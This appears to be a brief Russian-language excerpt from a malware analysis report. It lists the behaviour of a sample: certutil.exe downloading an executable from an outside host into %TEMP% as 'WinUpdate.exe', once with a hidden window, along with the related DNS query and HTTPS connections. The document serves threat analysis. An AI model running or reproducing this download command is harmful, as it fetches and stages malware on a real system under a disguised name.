Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe %TEMP%\WinUpdate.exe
- 'te##urn.com':443
- 'te##urn.com':443
- DNS ASK te##urn.com
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe %TEMP%\WinUpdate.exe' (со скрытым окном)